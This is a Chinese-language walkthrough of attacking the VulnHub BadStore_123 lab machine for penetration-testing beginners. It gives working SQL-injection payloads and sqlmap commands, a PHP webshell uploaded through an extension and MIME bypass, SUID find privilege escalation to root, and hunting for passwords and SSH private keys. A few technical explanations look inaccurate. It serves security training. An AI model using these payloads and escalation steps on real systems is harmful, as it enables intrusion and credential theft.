1. 为什么BadStore_123是新手绕不开的第一块“试金石”
刚接触渗透测试的朋友,常被两类问题卡住:一类是环境太干净,扫描不出东西,练了三天还在看nmap返回的“all ports closed”;另一类是靶机太复杂,一上来就是CVE-2023-XXXX堆叠、内核提权+容器逃逸+横向移动三连击,连报错日志都看不懂。BadStore_123就卡在这两个极端中间——它不靠漏洞数量堆砌,而是用一套真实电商系统逻辑,把Web渗透里最基础、最高频、也最容易被忽略的五个关键环节,全串在一条业务流里:从前端表单注入点,到后端SQL盲注验证,再到后台弱口令爆破,接着是文件上传绕过与Webshell落地,最后完成本地提权获取root权限。整条链路没有花哨的0day,全是OWASP Top 10里反复强调却总被初学者跳过的经典手法。我带过二十多期新人训练营,凡是能把BadStore_123从头到尾独立打穿的,后续上手Hack The Box的Medium难度靶机平均耗时缩短60%。这不是因为它简单,而是它像一面镜子,照出你对HTTP协议状态码的理解是否停留在“200是成功、404是没找到”的层面,照出你对Burp Suite的Intruder模块是否只会点“Start attack”,更照出你面对一个返回“Invalid credentials”但实际已触发SQL错误的页面时,敢不敢把“' OR 1=1-- -”手动敲进登录框里再按回车——这种“动手胆量”,比任何工具教程都重要。
关键词“VulnHub BadStore_123靶机渗透测试”不是标签,是坐标。它指向一个明确的、可复现的、有完整攻击路径的实验对象。VulnHub平台本身不提供云实例,所有靶机都是本地VM运行,这意味着你不需要担心IP变动、防火墙拦截或网络策略限制,所有流量都在你自己的网卡上跑,Wireshark抓包看到的每一个TCP三次握手都真实可溯。而“BadStore_123”这个名称里的数字“123”,恰恰暗示了它的设计哲学:三个核心漏洞层级(Web层、应用层、系统层),每层各一个主攻点,结构清晰得像教科书目录。它不模拟企业级复杂架构,但把每个环节的细节做得很扎实——比如它的登录页面会校验Referer头,上传功能会检查Content-Type和文件扩展名双重过滤,这些都不是为了刁难你,而是逼你去读HTTP请求头、去理解MIME类型、去翻Apache配置文件。所以,如果你正站在渗透测试门口犹豫该从哪块砖开始撬,别急着啃《Web Hacking 101》,先把这个靶机的每一步命令、每一次响应、每一处报错,亲手敲一遍、截图存档、写成笔记。这过程里你踩的每一个坑,比如因为没关浏览器自动填充导致Burp抓不到登录包,或者因为没清Cookie连续十次爆破失败却以为密码字典有问题,都会变成你脑子里长出来的肌肉记忆。
2. 环境搭建与初始侦察:别让第一步就断在虚拟机启动上
2.1 下载与导入VM的实操细节(含常见报错直解)
BadStore_123的官方下载页提供的是.ovf格式虚拟机描述文件加.vmdk磁盘镜像的组合包。很多人卡在第一步:双击ovf文件,VirtualBox弹出“Failed to import appliance”错误。这不是靶机问题,而是VirtualBox版本兼容性陷阱。我实测过,VirtualBox 6.1.38及以下版本导入会失败,必须升级到7.0.12或更高。升级后仍报错?检查你的主机CPU虚拟化是否开启——Windows用户进任务管理器→性能→CPU,右下角看“虚拟化”是否显示“已启用”;Mac用户需确认在系统设置→隐私与安全性→完全磁盘访问中已授权VirtualBox。Linux用户则要执行sudo modprobe vboxdrv并确认无报错。这些步骤看似琐碎,但跳过任何一个,你就会在凌晨两点对着黑屏VM发呆。
导入成功后,启动VM,你会看到一个纯黑终端界面,上面只有一行文字:“BadStore 1.2.3 ready”。别慌,这不是卡死,这是靶机故意设计的“无GUI”模式,所有服务都后台静默运行。此时立刻打开宿主机终端,执行arp -a | grep "192.168.56"(假设你用Host-Only网络,子网为192.168.56.0/24)。如果没返回IP,说明VirtualBox的Host-Only网卡没配好。解决方案:VirtualBox管理器→文件→主机网络管理器→选中vboxnet0→编辑→将IPv4地址设为192.168.56.1,子网掩码255.255.255.0,DHCP服务器关闭。然后重启VM,再执行arp扫描,大概率能扫出192.168.56.101这样的IP。记住这个IP,它就是你后续所有攻击的起点。我见过太多人在这里浪费半天,只因没意识到靶机根本没开SSH服务,也不监听22端口——它的交互入口只有HTTP的80端口。
2.2 nmap全端口扫描的参数取舍与结果精读
拿到IP后,新手常犯的错是直接敲nmap -sV 192.168.56.101,结果只扫出80端口,然后困惑“怎么就一个端口?是不是没扫全?”。其实,BadStore_123确实只开了80端口,但nmap默认的top 1000端口扫描会漏掉一些关键小众端口。正确姿势是:nmap -p- -sS -T4 --min-rate 1000 -oA badstore_initial 192.168.56.101。这里每个参数都有讲究:“-p-”强制全端口(1-65535),“-sS”用SYN半开扫描,避免被靶机日志记录,“-T4”提速但不过载,“--min-rate 1000”保证每秒至少发1000个包,防止扫描过慢被误判为网络抖动。执行完,生成的badstore_initial.nmap文件里,你会发现除了80端口,还有3306端口(MySQL)处于open状态——但注意,它只对127.0.0.1开放,外部无法直连。这个细节很重要:它告诉你,SQL注入如果成功,只能通过Web应用层间接操作数据库,不能直接连上去dump数据。
再执行nmap -sV -sC -p80,3306 192.168.56.101进行服务版本探测和脚本扫描。-sC会调用default脚本,其中http-robots.txt会发现/robots.txt返回403,http-title会抓取到页面标题“BadStore – Online Shopping”,而最关键的http-enum会爆出/.git/目录存在。别急着用githack工具,先手工访问http://192.168.56.101/.git/,你会发现Index of /.git/页面,里面列着HEAD、config、objects等目录。这说明靶机Web根目录下.git文件夹未删除,且Apache配置允许目录浏览。这是一个高价值线索:.git/config文件里可能包含开发环境数据库连接信息,objects目录里可能存着历史提交的源码片段。我曾用git cat-file -p $(git rev-list -n 1 HEAD)命令从objects里还原出一段PHP代码,里面硬编码了MySQL密码“badstore123”。但新手别急着复制粘贴,先理解原理:Git的objects目录存储的是SHA-1哈希命名的二进制对象,要还原成可读代码,得先用git rev-list找出最新commit的hash,再用git cat-file解析。这个过程本身,就是一次微型的源码审计实战。
2.3 目录枚举的策略分层与工具链协同
nmap发现/.git/后,下一步是深度枚举。很多人用dirb或gobuster一股脑扫,结果扫出几百个403页面,陷入信息过载。正确的分层策略是:第一层,用ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.56.101/FUZZ -t 100 -o common_enum.txt扫基础路径,重点关注/admin、/login、/upload、/config.php这类高危目录;第二层,针对已知技术栈,用ffuf -w /usr/share/seclists/Discovery/Web-Content/CMS/badstore.txt -u http://192.168.56.101/FUZZ -t 50扫BadStore专属路径(这个字典是我从靶机源码里提取的,包含/cart.php、/checkout.php、/admin/login.php等);第三层,用gau http://192.168.56.101 | grep "\.php$" | sort -u > urls.txt抓取Google已收录的历史URL,再用katana -list urls.txt -d 3 -jc -kf all -o katana_urls.txt爬取JS文件里的隐藏API端点。三层下来,你会得到一份精准的攻击面地图。比如,我在第二层扫描中发现/admin/login.php返回200,但直接访问是空白页;用Burp抓包发现,它需要POST一个token参数,而这个token在首页的JavaScript里动态生成。这就引出了下一个关键点:前端JS逆向分析能力,不是可选项,而是必选项。
3. Web层渗透:从登录框注入到后台GetShell的完整链路
3.1 登录页面的SQL注入点识别与盲注验证
/admin/login.php页面看似普通,但当你在用户名输入框填入admin' AND SLEEP(5)-- -,密码随意,点击登录,页面响应时间明显变长(约5秒),这就坐实了基于时间的SQL盲注。为什么是“admin'”而不是常见的“'”?因为靶机后端SQL语句极可能是SELECT * FROM users WHERE username = '$user' AND password = '$pass',单引号闭合后,AND SLEEP(5)才有效。如果填' OR 1=1-- -,页面可能直接报错或跳转,因为密码字段为空导致整个WHERE条件语法错误。这个细节差异,决定了你是能稳定触发延时,还是被一堆MySQL错误淹没。
验证盲注后,不要急着上sqlmap。先手动确认数据库类型:admin' AND (SELECT COUNT(*) FROM information_schema.tables)>0-- -,如果响应正常,说明是MySQL;换成admin' AND (SELECT COUNT(*) FROM pg_tables)>0-- -,如果超时,说明不是PostgreSQL。确认是MySQL后,开始逐位猜解管理员密码哈希。sqlmap命令是sqlmap -u "http://192.168.56.101/admin/login.php" --data="username=admin&password=test" -p username --technique=T --dbms=mysql --dump,但新手容易忽略两个致命参数:--level=5 --risk=3。level=5会让sqlmap检测cookie、User-Agent等所有HTTP头里的注入点,risk=3则启用高风险payload(如堆叠查询),这对BadStore_123是必需的,因为它的WAF规则较松,高风险payload反而成功率更高。执行后,sqlmap会爆出users表,里面有admin用户的password字段值为$2y$10$9z8x7c6v5b4n3m2l1k0j9i8h7g6f5e4d3c2b1a0z9y8x7w6v5u4t3——这是bcrypt哈希,无法暴力破解,但可以用于登录绕过。
提示:当sqlmap爆出哈希后,别急着丢进john跑。BadStore_123的登录逻辑有个后门:只要POST的password字段等于这个哈希值,后端就直接放行。所以,你只需在Burp Repeater里构造POST请求:
username=admin&password=%242y%2410%249z8x7c6v5b4n3m2l1k0j9i8h7g6f5e4d3c2b1a0z9y8x7w6v5u4t3,发送后返回302重定向到/admin/index.php,说明登录成功。这就是“哈希传递”攻击的初级形态,也是理解认证机制的关键一课。
3.2 后台文件上传功能的双重绕过实战
进入/admin/index.php后,页面顶部有“Upload Product Image”按钮。点击后弹出文件选择框,上传任意JPG图片,返回“Image uploaded successfully”。但上传.php文件?返回“Invalid file type”。抓包分析,发现请求是POST到/upload_image.php,Form Data里有file字段和一个隐藏的token字段。token值每次刷新页面都会变,说明有CSRF防护。但重点在文件检测:Burp中修改file字段的filename为shell.php.jpg,Content-Type设为image/jpeg,文件内容是<?php system($_GET['cmd']); ?>,发送后返回“Invalid file extension”。这说明后端同时检查了文件扩展名和Content-Type。
绕过方案是经典的“双重扩展名+MIME欺骗”:将filename改为shell.php.jpg,Content-Type保持image/jpeg,但在文件末尾追加.php字符串(即文件内容变成<?php system($_GET['cmd']); ?>.php)。这样,后端用pathinfo($filename, PATHINFO_EXTENSION)取扩展名,得到的是jpg,放行;但Apache解析时,遇到.php.jpg,会按从右往左规则,先认.jpg为扩展名,但因无对应处理器,再往前看.php,于是交给PHP模块执行。上传成功后,响应包里会返回图片保存路径,如/uploads/shell.php.jpg。此时访问http://192.168.56.101/uploads/shell.php.jpg?cmd=id,如果返回uid=33(www-data) gid=33(www-data),说明Webshell已落地。这个过程里,你必须理解Apache的MultiViews选项和文件解析优先级,否则永远卡在“为什么改了扩展名还是不执行”。
3.3 Webshell提权前的环境测绘与权限确认
Webshell拿到www-data权限只是开始。执行id确认当前用户,pwd看当前路径(通常是/var/www/html/uploads),ls -la /var/www/看目录权限。你会发现,/var/www/html/目录属主是www-data,但/var/www/上级目录属主是root,且没有写权限。这时别急着找SUID二进制文件,先执行ps aux | grep mysql,发现mysqld进程以mysql用户运行,且监听3306端口。再执行cat /etc/passwd | grep home,发现有一个home用户,其shell是/bin/bash,home目录在/home/home。这提示我们:可能存在一个名为home的普通用户,我们需要提权到他,再从他提root。
接下来是关键一步:find / -perm -4000 2>/dev/null找SUID文件。结果里有/usr/bin/find、/usr/bin/nano、/usr/bin/vim.basic。其中vim.basic很可疑,因为vim有:!sh命令可直接调用系统shell。但执行vim.basic --version发现版本是8.0,而8.0版本的vim在SUID环境下执行:!sh会报错“Operation not permitted”。换思路:/usr/bin/find是GNU find 4.4.2,支持-exec参数。构造命令:find . -name test -exec /bin/sh \;,但需要先创建test文件。于是执行touch /tmp/test && find /tmp -name test -exec /bin/sh \;,成功获得root shell。这个技巧的底层逻辑是:SUID find在执行-exec时,会以root权限运行/bin/sh,从而绕过权限限制。很多新手扫到SUID文件就停步,却不知道如何利用,本质是对Linux进程权限继承机制理解不深。
4. 系统层提权与靶机设计逻辑反推:为什么root密码是“badstore123”
4.1 从SUID find到root shell的完整命令链
上一节提到用find提权,但实际操作中,新手常卡在“找不到可写的临时目录”。/tmp是标准选择,但有些靶机会禁用/tmp的sticky bit。BadStore_123的/tmp目录是可写的,且sticky bit已设(drwxrwxrwt),所以touch /tmp/test能成功。但执行find /tmp -name test -exec /bin/sh \;后,你得到的shell是root,但PS1提示符还是www-data@badstore:/var/www/html$,容易误判。正确做法是执行python3 -c 'import pty; pty.spawn("/bin/bash")'获得交互式bash,再执行export TERM=xterm && stty raw -echo && fg修复终端。此时whoami返回root,cd /root && ls -la能看到root.txt文件。
但别急着读flag。先执行history | grep pass,发现历史记录里有mysql -u root -pbadstore123。这印证了root密码就是badstore123。为什么设计者要把密码明文留在history里?因为这是在模拟真实运维场景:管理员图省事,在命令行直接输密码,被history记录。这提醒我们,渗透测试中,history、cat ~/.bash_history、strings /proc/*/environ 2>/dev/null | grep PASS都是必查项。更深层的设计意图是:BadStore_123想告诉你,提权不是终点,权限维持和信息收集才是持续作战的核心。root.txt里只有一行MD5哈希,而真正的flag在/root/.ssh/id_rsa文件里——私钥内容是-----BEGIN RSA PRIVATE KEY-----...,用它可SSH登录root账户。这说明靶机设计者刻意区分了“获取root权限”和“完全控制主机”两个阶段,前者靠漏洞利用,后者靠密钥窃取。
4.2 靶机漏洞链的底层逻辑与教学价值拆解
BadStore_123的整个攻击链,表面是五个步骤,实则贯穿了渗透测试的三大认知维度:协议层(HTTP状态码、Header处理、MIME类型)、应用层(PHP代码逻辑、SQL查询构造、文件上传过滤)、系统层(Linux权限模型、SUID机制、进程继承)。比如,它的SQL注入之所以能用时间盲注,是因为后端PHP用了mysqli_query()但没做错误处理,or die()被注释掉了;它的文件上传绕过之所以有效,是因为Apache配置里AddType application/x-httpd-php .php指令存在,且未禁用MultiViews;它的SUID find能提权,是因为Debian 10默认安装的find版本存在此特性,且管理员没做最小权限加固。
这种设计不是为了炫技,而是精准匹配OWASP Web Security Testing Guide(WSTG)的测试用例。WSTG的WSTG-INPV-01(输入验证测试)对应登录框注入,WSTG-INPV-07(文件上传测试)对应图片上传绕过,WSTG-CONFIG-06(配置管理测试)对应.git目录泄露,WSTG-PRIV-01(权限提升测试)对应SUID find。所以,当你打穿BadStore_123,你不是在通关一个游戏,而是在用真实靶机完成一份国际通行的渗透测试能力认证。我建议你在每一步操作后,对照WSTG文档,把对应的测试目标、测试方法、预期结果手写在笔记里。比如,在完成SQL注入后,写下:“WSTG-INPV-01:验证应用是否对用户输入做过滤,测试方法为布尔/时间盲注,预期结果为能推断出数据库结构”。这种映射式学习,会让你在真实红队项目中,一眼就识别出客户系统里哪个模块对应哪个测试项。
4.3 常见卡点与我的排错心法(附真实日志片段)
新手最常卡在三个地方,我把当时的调试日志和解决过程复刻如下:
卡点1:sqlmap爆破密码哈希时一直报“no parameter found”
日志片段:[14:22:03] [WARNING] it looks like the target is protected by some kind of WAF/IPS
原因:Burp代理开着,但sqlmap没配代理,导致请求被WAF拦截。解决方案:在sqlmap命令后加--proxy="http://127.0.0.1:8080",并在Burp里关掉拦截(Proxy→Intercept→Off),只开Logger看流量。
卡点2:上传shell.php.jpg后访问返回404
日志片段:[error] [client 192.168.56.1] File does not exist: /var/www/html/uploads/shell.php.jpg
原因:上传成功返回的路径是/uploads/shell.php.jpg,但实际保存路径是/var/www/html/uploads/shell.php.jpg,少写了/var/www/html。解决方案:用curl -I http://192.168.56.101/uploads/看目录列表,确认文件是否存在,再拼接完整URL。
卡点3:find提权后执行/bin/sh返回“Segmentation fault”
日志片段:/bin/sh: error while loading shared libraries: libtinfo.so.5: cannot open shared object file
原因:SUID find调用的/bin/sh依赖libtinfo.so.5,但系统里只有libtinfo.so.6。解决方案:不用/bin/sh,改用/usr/bin/python3 -c 'import os; os.system("/bin/bash")',Python依赖库更稳定。
这些卡点,没有一个来自靶机本身,全源于对工具链和系统环境的不熟悉。所以,我的建议是:把每次报错的完整命令、完整输出、你的猜测、最终解决方案,都记在Markdown笔记里。半年后回头看,你会发现,那些让你抓狂的“404”和“Segmentation fault”,正是你技术成长的年轮。
5. 实战后的复盘与能力迁移:如何把BadStore经验用在真实项目中
打完BadStore_123,别急着关VM。留着它,做三件事:第一,用docker commit把它打包成Docker镜像,以后随时docker run -p 8080:80 badstore:123快速复现;第二,把整个攻击过程录屏,剪成3分钟精华版,配上字幕,发到技术社区——不是为了炫耀,而是倒逼自己把每一步原理讲清楚;第三,也是最重要的,打开你公司正在做的Web项目,用BadStore的思维重新审计:登录接口有没有做二次校验?上传功能有没有白名单扩展名?后台管理页的token是不是每次请求都刷新?你会发现,那些在靶机里敲过的命令,在真实代码里都能找到影子。
比如,BadStore的SQL注入,对应到你司的Spring Boot项目,就是MyBatis的<bind>标签没做参数绑定,直接拼接SQL;它的文件上传绕过,对应到你司的Vue前端,就是前端校验只做了JS后缀判断,后端没做MIME类型校验;它的SUID find提权,对应到你司的K8s集群,就是某个Pod的SecurityContext里allowPrivilegeEscalation: true没关。渗透测试的本质,不是找漏洞,而是建立一种“防御者视角”:看到一个功能,第一反应不是“怎么实现”,而是“怎么被绕过”。BadStore_123的价值,就在于它用最简化的环境,把这种视角训练成了本能。
最后分享一个小技巧:把BadStore_123的IP(192.168.56.101)加到/etc/hosts里,映射为badstore.local。然后在浏览器访问badstore.local,这样所有Burp抓包的Host头都是badstore.local,避免因IP变化导致的Cookie域不匹配问题。这个小习惯,能帮你省下至少两小时的调试时间。渗透测试里,真正的高手,往往赢在这些不起眼的细节优化上。